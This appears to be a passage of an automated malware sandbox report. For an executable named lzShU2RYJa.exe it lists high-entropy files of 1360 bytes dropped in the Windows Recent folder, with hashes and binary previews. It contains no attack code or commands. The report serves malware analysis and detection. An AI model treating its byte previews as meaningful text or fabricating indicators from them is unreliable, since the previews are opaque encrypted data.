Preview:	DRBXY..=U...T..\|.d.~)\|.P$.?...J.....:>.5..^.d...:..Ad..7U.O.&&...f~......[......`..Mn.<.r.{w1.f.hj..~.t...74...#......V.c....<.k<z...p..6.......hy.{.5.............\X..E....\|..4....[f...J.x..A.5.H.....w%..eo.D.........3_m....ul..I.j..Q.o.........a..-...v.-{...........O.&...g.Ol......Z..}n....I. #.B.....>.....J.e....we}.qg.^.92"i..Fq`?#.vh.....7..R.\H.".#t.....1~lJ..E..U...E..=.\|L.........X....>.%....(.].j.j.$.4..gm.G.4...dX..{.(..Az..4...>.c..H..j...e..D............q.......L$.k..^G.eI.G...mI..A..S...Ct.......2G/.6..%.z5m 8...`.wF.?.".e.G.s!....Oa.Mv..ww.<a..B_.L...q.[..pS.U...t....ff.....v.......a...."&.:jp..Z.mO.g....,....+<g.....aA.{,..:.&...Xo6..gRi..`.?z......d.....4...-.%...Ke^..E"\|..M.....9.-.........\.U...f......r3.......y.....KM.y.o...3M...+.q.R.(....&..D........#0D..e...x..aY.#iw}.D.d..Cp...L.....B=.T.....I~Cu.{......9 z....a?.T....$.J.O...{.J....Q......F....`D...+Bj...o[..39..........$...V.m.eDHo..D..r..5"....8...]

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849505772498584
Encrypted:	false
SSDEEP:	24:Z6vf0NGUyHIqe1AXRS2pwa2cWa7J3120sn6EBfWt7CblcQT6TWV0h67irOhiXe4V:QX0N1ynfXRSda24WT6+etO36Tuk67cYI
MD5:	8547FD706B75B7A0E3B13E5759869477
SHA1:	A1C63A4C44E25485797F101FEE5532B11DD422AA
SHA-256:	B10A5211346B79C45DBC6B8875DA1153595F0E894340CB412953661B48CFC491
SHA-512:	AD3F0D4ECAA7F16E6E9D5A50A62BEEC45D59926AD3F5B9C2209CF0EB8283BCDDE06AD1BE33E4E2DB54FFBB36B66DCB6A73F755BA2DFEC42B89DAAF5BA7D21559
Malicious:	false
Preview:	DTBZG...S......r9{@a...`........[W....pN..g....-.R.C.u....Vu..4s..&@.a....'\|E/`..v...g...I<..,.0....+q..x...]...J...-..H.Q....$Aa.k.Rxq..J..j....2L...........e.i......./...f.$c....v.5..=i...>.i...cc.....Y.....".Sp.\|...H....9!..~..p#......%..P\....],.%:{..6m..1j.D...L.Wd..SN;]`...J.....E..E.+...d.i......swLa.....>....{...OD...+.v....j`.....v...Q...0..!_.f...$ly..L..B#..%...l.b.bH....%n~.g...>.F..B.%..'..Z...d.D....g.$.:.q.....^...1..br..;.w.u$.v.5:.....FL..X..3.<'..Q.%.4\....{.Z.A.". F.......".Xt...eI.vnG...9.a......8. ..[..f...m......8..4.{....;+X.f=.L.m...N@[i$J.,sl.P..X..+B.'.&.i...S.W/H...b...F.sw{.."#V..3}i]2.:.r.n<.M..../....!lG.'B.Y]e.Uf 2>.r......&.7..P.h.....".....s..R9L.L\|.x%......jK....G...fN....J..L..N.k.....N2....O6)...4"._.6.f...\|...j.....r....[..P^.M..,..om.`K5.p....S....'}.<.'.6...(........+.2..[4l....Z...P.Gkr.(....x.\R!...~..h.:.f!..$...6.....N'...)+Y.8.vQz>.,..+B.>NX.....z.My.t...>.d......Z.B.aL.1e...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859361729483831
Encrypted:	false
SSDEEP:	24:cMixdR8pK7sLXM5TvMsOd5UgFpRTAF/Y9PH4YDRXOK0/NmDsTfmVbD:cd78p/4UnNAFwFlXOK6NmDQfmFD
MD5:	70D61FA05C709BA000FF6F27D2CD5CF6
SHA1:	7846E20E73AEE356B86856804A3C32A10E4A7F47
SHA-256:	AB6B3C7F932E41019ABD787E7F95CE8CC0D1A06B723DCE65980CCCF8262D559C
SHA-512:	0DDD5575572618F667C0A16657B6167F84AD7AA88B004BD4BC3BC349B25BCDA2B61D4758F761840F41C8A3A5C05B6BC9208B9904447444B3138B0BFD225572DA
Malicious:	false
Preview:	DVWHK....$7k....J....`....r...X[r.4.........=.-.[.....4gP!...Zx....9....=v..P.....v..U3......N....:...X.....g.s.by.q[...m....y.$..<.....=..f.j.@...?E=....\|.x...C.{..)......22h'x..7.!M@......{\U....b.S"p..D..heKc.9^...+w.1E!.#.;.W'2..o.{......F_P.;0..J.L..au8....U.(x.\|.N6..Vi.!..Q^7.A.IO.......\..).d....{...;.}...+.y.o..=.w..q.2~..cT...a...N.(.E...=..4q7\|.O....;Z.....D.g..E.. .+..3......k..5R.p.$j.nj...s._....t.J.Ii/..f...7'..4x......B..>....)9.v.Qy.CD.-1../...:..;#......[.j.../.....t.q.......\.p...S._.e....%....9$q....(~...6<....;.M.C.=y....s.\| E..(%.....(.^h.F2...W.k...tL..v-.K.k6.X...;.$6.w.]..S...)../..[.>....9..m.oE..(L.J..K).mF9.!2\.Q"\...Uh..l..=...".C....<..R......>...6...]....)..=t......u.EB......(f2x.p.`.kbr\|.....D.,v......6......M.t.~.O.:;...&.R...SQ......2...(#._..pY.ORi.......]..K.......;..:$.D{.Sp./}.....p....CS.3.$.u. ..nM.?.. ...=...%u?...l.J..9..\|j....e..K..=&..&_..A..agR.:...V...Z.^...$:w$".[.U..a....o2....~...MSb..i\|..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HYGZTMOBZN.jpg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848768695290938
Encrypted:	false
SSDEEP:	24:YHKTU95dhaoeyReIN3cWs4sMEvFP3RSDjk/Q8myqnXbpRACmVbD:8RhDfReIxJ3ENP3Rsjk3hWbQRFD
MD5:	F1FD21C01C3F1E5CDFD99157A0901A3B
SHA1:	719073D403B0DE8F174F5F67B3624A75FC0B2773
SHA-256:	ADECCCC4F2F5EFB4D986C53DAB10CA86371922233B1D96B3B018BFC7CE76BC75
SHA-512:	53A926E2352AF3A5FC2126652BFFC50F20891B7335F8C0E57A333B0CBCFFC9699ECA788D1478389559EA425FD18CD50F798D1E5D5442293EB5FB1E6F8CC05194
Malicious:	false
Preview:	HYGZTI......0/0..x_....5..ElT......gs.(...tF/.$...<....~._s....[.i%...\|.@.'.............S=.....X.U...W.jyC1..bC....@.V......hm..s6..7._.a._..Ix.....Z.../C{h..w..w....C.`$..BAq..$...S~3...l5..r....Ay3.b6A...V....pA.A..X.h..b...$.wYhH.RC....`..LM5{'......b..).\|+..O.t....)...A.guDb....;662. .....V\|.a.......YI.L...n/..h.,S............F...Q....Q.y.W.i./.Z-...U..,.h.>.F!.6.Z(.j.......m..2#.)....]...G..X.3E.o.;Uy.........s.GM.......Q..exa.......J.......]/..M........1..1......b.`..Zd.Y...MzL..m.r....H.M..............F.D..!..!.....v.X.td..:..o...5=...X).,.S.x..r.yy..{h...d.L.aJ...w.Gn...............5g..R%.,.1..5W.B\~.B.u..E.........=..a...s.`....@.(0....zhz..s..\|.z\...(.rqgC..;n.B.fx47.iGT.-)...uz.....l....."....n3o.......j!..c8.O.}.U....>>[...;.;..Cx.,.......B... ..ON ..R......\|...^..#...=.~.S.X...T.WoKv....n..3IW..'-ut~R..W.Gq.....U<.>.......K...`Tq.?.]...m.\|W.j......a2M..."-C..dg.C...p..........m.....Q..G,.I..Y..r.6..U.u..XEP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HYGZTMOBZN.mp3

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876731951323968
Encrypted:	false
SSDEEP:	24:FBzWso85O6VeN40R22MLlqmJTqL3twz2ozdD+3niuYrmR5dNiap7GSw5ZZ2HuCpN:FB6so85Y3RjMZHJg3tk2E+SjrNEySw5g
MD5:	B21A06FA79580D49C06CD5635EC6EAEA
SHA1:	A616E396C4E63AB3B892615B301FA2B03B7221CB
SHA-256:	FBAC1D2CF07930466CE7A269D7A89C949C7B292F7421E3FAD1F9FAA58C620924
SHA-512:	AE824ADF0ABE91A53374BFAF8F03BA4B5D43979620B0747B9E7AE5377B8DD8CC1492F18861ED5D78A996BB46E8DFD591EBEF81DCE20705FFD7F5E97E1B4AFB1A
Malicious:	false
Preview:	HYGZTO...)..R ..Z+."g.H.4.....e".F.9y..=.......c......V...E.,.'..a4...1t4....@...< .p..0=...V\E.p<.}....A...q...../.h....1\|O.?.....5...wDl(.....Vr.I.S.zFq...F5.Z..p.]d".^F.......Jc.6.N....Z'.....).j..LV......'.........~-...uY.....]wu.r....>.......-{i......`.Px2_...%y\k.e..U!cTg8..I8K. Ej.BEW...q..y.n.C....9...)n.?G....4..........U.......+..kv..uY.).0..8ES...Z....3...%< ....1.+.4Y.......q.D..L...J.V.}K......^..^$...m....(.{}d2.C...w..>K.,..].@P?R.....i$d9-...1.....T......L%.#....,..eRG3....q..J..?@.........A..P<...-..a....n. .o....N...V{..fL .h{0x.<}K..&.V....I.<_..YH._..e...v....W.~...8.#.(....P.... ....a...=.Y....(...].......z.t......NfI.H....`....Je....[...]...B....G..5........v.}.~.......2...7{..........@.m=>...y..V.l.Q...N...Bb... c.&8.-..[F..cc&.._./..B....X+.H&..v(c..NX...H...d.3..x......Za..QW.:}&b.M..].....K............4.K2y...<`..!.D...0..lK\|..H.[..N.l...#~.S..61{9!...!....'.....H.......X...A..[..q./..@:.>.m....~..g_I.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849326367269477
Encrypted:	false
SSDEEP:	24:rLDeSXXH7dRqcmZ9wMXff0N7HZzBezWgKWSwCxtQAvjdQSaqMh+6NVbD:beSxWZKMvf0NTZMzW3kmaxhLFD
MD5:	3C31A17FF7DDD15A6BF6C30DD8764829
SHA1:	35C8931496C3975827DC0422F606F8D980EE13A7
SHA-256:	EBACA77246159D0A500798A397675AA3E8B88E819683ECF96F5DE8ADC2C5358E
SHA-512:	6652260D4E3E63ADFD73788FE019926F099B7C9C9FBD566B784AA5C70E95EE5E026F0298EC1E202293BBB2B0124D6B21FAF46888F2A62348F3F1027E66B5FC69
Malicious:	false
Preview:	JDDHM.n....i.\...V...~..._..W..Yn....!..2...k.[...3....NHx..Z..!.-g.i..l..n....~.?Tg.1.\...\..........N5D.5.ij..X/.:..........S..O ...sj~.D.:r\|.S.9..2.........?].i..6.z...Ry.<...%....\|$..K.V..Y......Q...E..Q.r........sYQ t....Z.k..rB.AE...l..(.K..".R........5.....0.....U!..C8=..[.K........)K.....P..Me.r..$.<.X.....u..$....u....M.7.h.\|..v.(0W...#MIm..U{g..X-.b7..h..V:i..l...\./t8.T...W"...7/#7..{`.....t..hb..U......4.j.hHk.zz.U^F\B...b:......8.\|+......7..f.%1..........v.....7.C.fqi{_:k.3..?._N.`.&....g.".%.'..G(.Y..f..=.<..C....).Df.54..... .,Z...H.. ..U.e.E......,}jFD`..L.%M....Z..~.7y..s..s.v.f...\...B.b..<A..m..I......%.v... ._...D.=J.d.5f.....w.f..B.b...Tq...Pi...tt...F..\|..r.......]..x....\|i=....y.~.4.......')W...#...a.l.k).'.........:.]...>..:."`B.K.B.2P..G`!K...l8....da.....e....>.o=..6.\|..G...`..<.......{Uf.ED........6.........\|.?..uv.IB.nR..a/?T.;.w.4....MO....?.m.&-.4..s..@z..z..V+.8N...t....~.N92.U).}q.A....5D8...z..#

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.pdf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.812103480846568
Encrypted:	false
SSDEEP:	24:2X50PgU94eYfaALA0zXbBF/qutD6lQhRHyCFqDGoB0+gePpgaoz3uudSVbD:aY9RYCAM0//ZulCcCgCoB0z29FD
MD5:	5664554C9CF2E402DB85A74E02B4210C
SHA1:	57D78E18463B0880D49FC5DE0DC0D2E0BEF78BF1
SHA-256:	47314A5F897F9D9BD7D6405A264112167AA25ACBA1B06884DB6363007F76EAC7
SHA-512:	1685E5915C70FC830023172D92239D86907337C14B3197FF7D78609818E767711E43553C63F36E6F987B12A251398129754FCD9BB0A6AE6949BD90B12D4C4306
Malicious:	false
Preview:	JDDHMWEa.V6...c.p.^.k.<;..U...0.4...x$.p.8..(qtB#M.R....T..7/.JZx.(...u..]W..%.....i...K....X...Y.t......4x3.;.)\|...u\L.'..s^..;A]lw#.Ed.p.B:..s..I.M.I.e...v`q.3./\|.j=1.B..EH..O.~.Q.[D....ub...Q..b ......j...0.,.F...R...8.[.,~.....'q-..........+.qv7WO[..P.Q}..P.3.......5F.3.n.ZK...x.{.J..c.....L..F.......Y.Z+~z..]....!.i......E...a.Z...U"....z..S...k.q.P.......\|..{...s.P\|.cs...td..\|m..,..j.E..u.....7..l....Z...j7b.z....J.}.].[i^....}..[H.G.m&.:..u..%...in...\|.........r..l..j=...1.p,....4....}..j..M.=L[...4..J....T..k.s..5..<UU.%.F..YJ...6..Hs.9[.^Ss......._.....Y.....Ht.....#G........l...z.^FP.8.K.'.s^+.S..H.....m..,.....4..(..H..}.D...J.,B._Q.<U9..uh.WYG...r....]..y\G.:.Y.t....Mu....e... Hd@.....N..4pK...j.0..rEM.x.^.aP....Q.s.P....M.p.J..wl5...w..m..h[...}s.6..eG.F$}.fu..<..=\.....j...J.x.7-....A..`.t....\|...muH.6.jE\[.O,z.I\|>..o....w.s.,.....x.<\|...V@...%..{6...]...Ai..D2..-...2....&.....u[.n.....r.J.z.".v9........8...s.i`...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.xlsx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861365099175387
Encrypted:	false
SSDEEP:	24:cJBtIQRWH4ksYgn3zdkkIvdVrJZh9yfPjIC7yn7pmbL6huxZ+qUV2XnkoVbD:+2sPD7SdVN5kPUSq7o6Av+R2XkoFD
MD5:	FEB371FE67526C6F399A1F917C563FD9
SHA1:	7033FF0017975CEF35CABC03A33F698A43BE4F80
SHA-256:	2D196760B9D08A0671FC4569972F6CF4D8D101FE7728B73E296BE44FA4F43D93
SHA-512:	46126AB2835CFCBF6022997E19A1E7A89B89BC7DD8A7A9D18BB0672CA4215C65D23AD467CD84176CD3922A1C79952026AE2A2904E8FF78444D9859323AE39F6D
Malicious:	false
Preview:	JDDHM..c.,}..P.~i.`".......Q.p.'rL..;o...< yB.m....w.$~..I2...3.(....-. ........U.!T.......6.'..&.k.D.q....(E(?....A+....B.tw6Z!.J=.....O..M.P.8+.mf..'FC .U.^c......}.O....t.=.r..Y....M..l....M.3.Nu.....1...Y.b?...N..v.k.....Rqd.s..oK.~=..N..g..5...{....)AS.]b.T...H.[..........Y....e...I..e#.n`%m........z....4xP..d..!.(..r.+.'......./E....NL....#.:l:.c...C....W..>.......Q.ZE..........].b0..M\|"#..?.K..0....H.6Tkca..K..KK..Z..z._...@.t.W.U+.Eh.j.....xy....r#U..f.....xcv.q.....Q.n."..h...auF.<_.K.a..h..6.......V....$B......+........xk................=u.L..5.Z4....w...Uo....Q..7.q..k...NuP.2~.I"........N..=......D.e\5..q.&...%bA.^.,s.CvZc..cM........ 1..#>6T1..f.(.8L\|.y%.t.Q......l.c\|uu6RQ.K.uVI...5.'.'....9.J.k..l..\G...Y..W,\.r......>..kt..]...um.H...z.7-...PJ.8..#....z...e@..n).g..u.&........}..h..m.j.q."._.mX...;V_F-.P...........Z.......M.p......x.jk.AU.J%.V.S.3P..FW..S8.w.{..).X..d.=..i....>p.r....oQJ{.H.Qk..n.q..W.......)......(/X...b.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JQADJOBBUH.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82903518945111
Encrypted:	false
SSDEEP:	24:6Ecjgaq7WHOyWVIhGrgJf9qsaABUOvfWH5WzRE4HhgLmC2FVbD:HQX+WHzWVInR9qVtGKIGshgLT2FFD
MD5:	33E4FBC00A3E5F7BC92336A1E3F69E15
SHA1:	55BCCF052A4770255AEF86B21B3F55E06892CAC7
SHA-256:	2E5EE5E66CC16CA6390CD0397506E8F6D9BB59085183EB88708AAF46B54FC539
SHA-512:	8167D09A19505C3D1B3833189019D5070BBD0AC850456C888A735B3D09201706DD3350B1FDDD919A68B1A62239A1854F892C69775A6F9AB1D370EC074C2B3838
Malicious:	false
Preview:	JQADJ..N..[f...TM...k."".k..@..9...Q..+.q"..UNx..<..k..{..!....1R..f....FY7Y_g$N.....x.....w!.x:%.6..;..P....^PJ..b...~I_...&#Q....r.....}3..q...J..w7...a...9.).$}E........wp8.B......V.gT.R.....!3...5.}K....K..=.,..LP...g...l......Q^.pR..iL.. C:.nBnu.i.#..z..>Q..n4b...r].......xw...V......3....L......b9...#1.....r......c.......n...E.I....4Ru....>.%.....yK-..a......>..A....w..J.A....."..l:.m4b.{...}A.gr!L!s-`O/......>..C.`....c/../..N.....r.^O...(.....?"~.>..5..~.".>I.Sq.26..a.[..^0.J...:}@...C......,..r.i......f.4.....%..O.l.../.JP...k......]`....<....W...x}\\|......u.p)..!.h.'.[...a.X.'..m4Ju..]..N!^..}3.v.[.'.../..h.6..T..e\....C,..y.. .<.>W..../...L&.u.y. 6Ga...y.7.N~.p.5..%#..b.....A .Z..wB3a...............-...XZd....x#...+.so.j.7..........Q...gP.uh...A.f.I.4.]..\|.~....O.Z.,k.........{.V....p.rd.m\|X..Z...V.\|...........5...w2l....{.^.S....$...S@..h:A%...-...#M..2'Ng..B`\..$Re..7...4...!.o..Fn..]i.I`VP.N..........[.....g..3..66

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824791283918084
Encrypted:	false
SSDEEP:	24:Vq6FRocihsB7LkE+gq2+0Lgad12Th8Qf1KgQd5lSTdQEpasUAAb/mBRixC+3VbD:kko1+B/kV/rcS8QCd5Md01ARXixjFD
MD5:	2C2236A3DE619B107B9A82191B8461FD
SHA1:	937EC609A7F472B8272947C1D234B7BEC4482999
SHA-256:	9B83CB5B0F5920488A13FB3E91C74510E900100EEEE4D5A8A77229D317A45793
SHA-512:	37E18CEFF93E634F8F53257275EEF6449C48AB2E5A5A789AF458FAB5F874383D2F4B45508480F5FDE9017501CE2A671B4EFC0955F92FBE6B7D59FF17D747F78F
Malicious:	false
Preview:	KATAX1J.. H..Zk1..'1..L.......W.....+W.H.(z..j7..........[._.g._.b?6...r.Xn.r.R.....p........4L.Xe].L...mXG..{+....+..)..#..H.7.Y...S_.z...h.(.W...qO...oi....1I....V....).{.i....&.m.T\5.s..pXq.eI...Og.......OC....N.t....!..$.$.$.7..8.$X...5<{..?..d../..UK..w.J...`7.P..2GM..O'...im.#.%........'.e.....oR...5.D>.D...+..N6.6.....\|B.]U..8,... .4eLP..6.Rv..."...g...<..{....&..+.....Z..;.i@...`.l......Z....Pd.l...yV.[.......SXX.z..s.(d...Z...G<..~..0.r.e7.P..vh9gv..3.4^.9Lz.D.I.-R........e_..V...\=.#....(OB....t.j....<.LC.Eq....$.#.-k@..?\.e....[0...D.....$..o.n."9.i.Q6e.b.95.DL...Q...49.......g.&8v..p.a..zxB.G........X4........^..x.V..#....K.e.I..D..}.q.G.aE?".u[!...f..h...}....UO).&....#Y....I.!.sg.]m..y0....H..p...VO.....q.\|J...=.-Lc....{.a...g........6ET.....P...MS..:.0..n...(Hp.9n'.......#... ..p.f..,...+.I}.H...9..{.M.&.....5...$...'9.x.6o.\|.RP..2..e.61..4..E....7(Jp2ZP....{g\|...*......q..k....5..Q.=.2).q...uA..{.[...IHw3d).Gx.d=...6A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8296152195837205
Encrypted:	false
SSDEEP:	24:RIM0HGF3UWcawojC0uKOFuhEjiFOdr8VUe8G9FHHcIMG8accVbD:aMs4BwV0uRoh0igFe88pJ7CcFD
MD5:	1A9707651C979674ED454F1B70DDD289
SHA1:	3B10DF5F9DF338D2C0F12FA397DB8849D1F568F9
SHA-256:	59C20B144D106C4013184AE4A51B6758AB70B3B120A001056221D7AA341DCE94
SHA-512:	E821144A80349A9AE7C77BC76DDD1C7BF26FF014EF978AFEA68AEDA8F3D18BAEA34CE0311E4F16BC3A6940E644C932753E5EEAA8C6F60D9817E860D95D7B4CC9
Malicious:	false
Preview:	KATAX...2.. ...3..8'..k.g.<;U<l.._..]...N+..G{N....6fq3.B.).B.4...Z.t[YAg..............;..m.@{.H.AgSG..oU...Y...rZ.fg.Q....H..c..R.....]I.51\|.8t.z....P..b..~...........E.g..(J$..$.1q.N]c...T.[J......Ab..9vW....Bf..i..gJ.....;k....0%..^;......tNo{D.;..1O...MM.UKV..........F.2d........W0.<.3.nfHL...\|.b....' .L%... ...r....t..'.V..rw...k_.@.../..I.)@.....h....S.E.B.p...i?h:`....v.j. ?.w......J..E8..o..m...c...G..;t.4..).1...-...`..11aN..".P..\.#....1k.5}...J...o.#B.....%;Q.H%$.2.%}.RBUkH7hw.W2..........L.0.#.I.D..Dav.j.[Q. .)p!hq.N7.ie.8.....X.../..L..l]e\..{.....Ld...{..8.....\|.....l.[].6...z".....uM!..,8}.\-Hq....zA?mcS.iG.xC.Q7..E..3GJg..._~..........5.H.....)...-.Q6j.jh....... ....E.\|..\|..f!t$D.....f....{2.f. .........y....gV...].W(.A~C.....T.....:.}.A.....^z.!J3.J..>.e.pT1.$t...........Y).............>CX2:..c.........#.cm....-?1......'..@.....iq.R......PBV..5...<.e0...l.....W..6._-..)T...4..$.y....".-.W...}{.[]^....i.."....-R]

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845673740438916
Encrypted:	false
SSDEEP:	24:wB6fU+GW1oxKp+zJdhL1SKgXMj0foVC+fOout8DbxDKDYhYgwphM6rBVbD:wB6VlMm+LhnGP9HoI60YhYgGhMKBFD
MD5:	98500DC7AE34284DC3FD961B6E3B7006
SHA1:	DF1696B322E34D3713DEB7D5ECED8499F09F549C
SHA-256:	5A4732453222E9969D3406ECDD02AD2D04EA6E09D98860625393D9893E26EE57
SHA-512:	A14370CD1D0F1D9DE8C6ED78CEB63A77714086A385BB7A793E4D562C3D9DABD157D896ADD4B081E29CF1B89CDA0EF4D835CB2D698BB337F0E0EB58BF4227D9E4
Malicious:	false
Preview:	KATAX.s.93\2or._..I..b.f..o.#L......0..rAc.HJ....".5..-V..uU......'.$...>...QcZ.......4C....Z.`..%U......x..b.3..cc..@...2.s....{.Uo.{I..Q.J.I.....+..k9.....gF_.w.Hz.D.v...i3N.Bi...'.k.?.........!..LVF....\|.%..%UA.....L.z.AVo.=..b..?.)......X..=..?&..\|.M....p.)..._..s[.;.....^N.&.x%............5.Rqg...}..^..h._.......)...K....4....ot.B..nqm...W....2.:...sH.../e?....\.nmR1..........z..LH$........[...Y..No.{.O.A..+&.d....Q.b....\|3..O._...LQ.((...5B.].j...wd....iJ,...gW\B.W..i..;.\|n..V.o.<...m.0J.gZ.....P.pMW.+a.q^.........f.V@.$S.%.C.}{...q[k..T.....D....T...S%..R>...y.na......q...h.{..?,S..D......}u9~[...5._.L.a..LVE\|f..7..36Q.q.$.B..'L.L..KcE.c./....H....#..l4....)..W3..;.....S.m............pk.C.....#...R..n.".A[s.3...\...=.-....m..../.V...K.....n.pq...sz.DF..?O..vy..5.../..<(-.c_DP.Eq...^D.S...1}.:F.m.R...&fe..E..........Df>.>...\..g...f.A....^.8_.....u..m&...K....w._(..^..3..:..."~..U]......{y........8F...A...Z.w..F#....&r;.)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LHEPQPGEWF.jpg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860587677259407
Encrypted:	false
SSDEEP:	24:9E1LPX+KqPzYadbUemHgk+7Pd/pcqCJ11PBb8/bNke2H7k3VM4VbD:9ERPX+KqPzYadhmHgJ7kqCJ11iCe4I59
MD5:	E2781CFA4DAB30C2A78A34A9B059347A
SHA1:	03C1B9A133B7E5AEB42612EFAB79023B495159ED
SHA-256:	74A91787D33284B4E03427F1EB86A5BC2168EB31A198489B7A8D0BA98FA57FCB
SHA-512:	7A85F71B447936833CC9D31A42BD2184340D042DAA69559575F3F22C321DEE409062BE559FA07A150BDA465894201EC9C08C18A53784D19547928DDEF0C3A073
Malicious:	false
Preview:	LHEPQ...B..2.7.Sn2_J..7J.$.4V.{\|6....).~..f....r...6X%..o..I...7..Y.^!...\.....1..............w5...jFQ%.L.].M.]D..$.e$....8....\...c...e.n....{..d.H_.4...Z>..s..V[..s`........:.lI3q.r.;c..)...P.._O..f.Y..U....u.6%..iA{...W.....2<D.v.m...!....^.c.....w.&rQ.;sO>.s.....E.e..Yn.....w..]./e.M..B...j...]..L.&.G.s...vKJV..{....y....T6.7.R..u.S7.C#.9......k.....:.f^,......LqgQ..)A.6.../x.}.b.i_#U....e....g..[...z...........p.A.n.1$... (..-....4.....@.....b.8..y..7.:...o.'......oI+9.3....'.3j[.;.....O.{....9...s........}...W.`.j!..14..zOE'.7Dvkf.z.K.9.B..;b...Y..6....g?.....G.tY&....EFB....G7..?........Lsy@.\j...c....s.....\|.Z.E.\|..Cx..f.......}....7GiP"[j&....s.....!.........6.&...5]\|7T.a.....8.;...T^:&........tu....Z=.....f.P'.1..R........,o.....F....Valh.r..R.h.P...q.....f..2A:....KK....I......_.....n..3..R....5.w....s.^-v.I.R$..4/...1...R.p0.O..f.i........qV,7.A.$.Y...m....c#F+o.....1.1U.........v&.......(Nn..-;F..*......W.. .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866988319897164
Encrypted:	false
SSDEEP:	24:I7r0uBr/VVHGMkWxudImCGcuPHMOKdXPu2CGBeJgYgyfdphvdq/f5q6cCrVbD:UdBTVVHGMk6iFck4XxYlgyf7iZqyrFD
MD5:	497EAA2D735F283F79CBE69D86A4A5B3
SHA1:	984FC06C107F435F8C04F362C219EE68518E6885
SHA-256:	C1E2F2B47D3ABE54A81FAE57DE6EAFD18F29C2701A5EDB8E72B75F067219F9BF
SHA-512:	E3952365ED38497759311E56B4561EA65300B439AACFF95C4CDDB7F14DFC692811F73600EF1BE9BE7F7C53D3E2CC81A20755499FC9A7C7B8FA21A3286AA2EE4D
Malicious:	false
Preview:	LTKMY.!U..]..W5.e........Dzy...i.8..Jl4.S3...$..T..@.Y..5..9..c<....L./@.d~..V0..s...Y^..>.<IC......-.".xs..K..{J..:.....t.`.Q..C.=.D.r.La..9....-.XR.J.X.};].~.~..B.<.....8Q.i..OL'..W.3..3j.. ......@.YQ...P.7.....^...WF.H.U..+.!..tu%...N.....O,hpp3..A...../).w..e5..2.......j....n......jT<.....f@.Z....8:..lfK\Q.&..X.EcI..f.Fa.y.........U..3....G..h..._C..n.......d...EM......%Y.Z.lr.j..KA..Q..R.......}.U...y....{#u..H2...<.3...[..X...).;.r.3.........`.1....P..xG,s/.5.\.....@........Y.A..x"..(.X .Th..b..j.(..Ol>.t.......^...N...._UM.........s....Iq...+....w.#...^./._"E........Q.-..xH.\|.GA.+i.G...m....d1...:..o..e.........9.&.[..4.....QV.j....y.].'..-...K..j.'.&._...o..U..M.{+(O..a...V..K...'.q..g\.^......).bs..w.I.?rY=.{...S..b..A...9)A`z..AN......;]}n+.p.O.odi..."....D..=......8..q...}.g......#N.0.F* .i.#!.....C......f.k..$.B..^?...+NQC...7..x...cv._...y...Fyt.s...#G"z..~..d..s(..g...ku..z.n...._.X..Z..........{HI$>86tC....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844498496935424
Encrypted:	false
SSDEEP:	24:R/yaktOTdvy0DWvbeDtPpkLG/bi5Y3HYVYbj+9D/QQ4YOtAl5NlVbD:tyaNBvlKvbeDtPpkLG/25Y30sj+jQQnl
MD5:	698F068A41F1E7045F488D6741687BAB
SHA1:	19177ACDA2B34EC6646BE9AD28CDADFF45A30D69
SHA-256:	2930AF64F8F9CEC4DEA56D026D489FD3722DCBD10117D2E194547232A8309BA4
SHA-512:	1FE316C4E12C9E53C9DED4FBC293AAC72EEE6DCE927689C6A1FC283A366024F74627014AD8894297C062984034A71AD46A768B4E81EC16A59760D6E806A1171C
Malicious:	false
